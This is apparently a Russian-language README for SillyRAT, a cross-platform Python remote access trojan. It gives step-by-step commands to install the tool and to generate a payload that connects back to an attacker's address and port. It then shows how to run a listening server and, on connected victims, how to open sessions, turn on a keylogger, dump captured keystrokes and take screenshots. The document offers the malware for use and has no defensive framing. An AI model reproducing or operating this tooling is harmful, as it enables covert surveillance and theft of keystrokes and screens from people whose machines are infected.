
RAT на Python 🐀 (Троян удаленного доступа) для получения обратной оболочки 🖥️

Кроссплатформенный RAT, написанный на чистом Python. RAT принимает команды с аргументами, чтобы либо выступать в роли сервера, принимающего подключения, либо в роли клиента/цели, устанавливающего соединение с сервером. Команда generate использует модуль pyinstaller для компиляции фактического полезного кода (payload). Таким образом, для создания файла полезной нагрузки для вашей платформы вам необходимо находиться на этой платформе во время генерации файла. Кроме того, вы также можете напрямую получить исходный файл.
Инструмент протестирован на Parrot OS с Python 3.8. Выполните следующие шаги для установки:
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt
Вы можете получить файл полезной нагрузки двумя способами:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source
Скомпилированная версия должна быть сгенерирована на соответствующей платформе. Например, вы не можете сгенерировать .exe файл на Linux. Вам необходимо находиться именно на Windows. Инструмент все еще тестируется. Поэтому все виды ошибок принимаются. Однако убедитесь, что вы открыли issue. Генерация скомпилированной версии для Linux:
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

Замените ваш IP-адрес и порт в приведенных выше командах.
Сервер должен выполняться на Linux. Вы можете приобрести VPS или облачный сервер для подключений. Стоит отметить, что сервер не хранит сессии с предыдущего запуска. Поэтому весь прогресс будет потерян после завершения работы серверного приложения. Запуск вашего сервера:
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999
Все подключения будут перечислены с помощью команды sessions:
$ sessions

Вы можете подключиться к целевой сессии с помощью команды connect и запустить одну из доступных команд:
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Получить список доступных команд:
$ help
Справка по конкретной команде:
$ help COMMAND
Twitter: @hash3liZer
Discord: TheFlash2k#0407